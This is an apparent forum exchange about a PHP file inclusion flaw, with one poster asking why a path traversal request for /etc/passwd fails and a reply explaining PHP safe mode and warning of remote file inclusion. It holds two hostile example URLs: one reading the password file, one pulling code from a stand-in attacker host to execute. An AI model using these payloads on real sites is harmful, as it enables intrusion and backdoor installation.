Hi there,
Therefore, I tried doing a www.example.com/static.php?page=../../../../../../etc/passwd but I get an error saying that file doesn't exist. I user the same source code in my server, and I could retrieve the file...what can be happening? I don't think it is under a chroot jail...
What you can or can not read depends on the configuration of php (include_path vs safe mode for example). Have a look at : http://fr3.php.net/features.safe-mode Now the real risk is not so much reading some source code as executing some other people's code. www.example.com/static.php?page=http://evilcracker.com/evil_code.txt has good chances of also getting executed, which opens the path to install any backdoor, download perl scripts/trojans, etc...
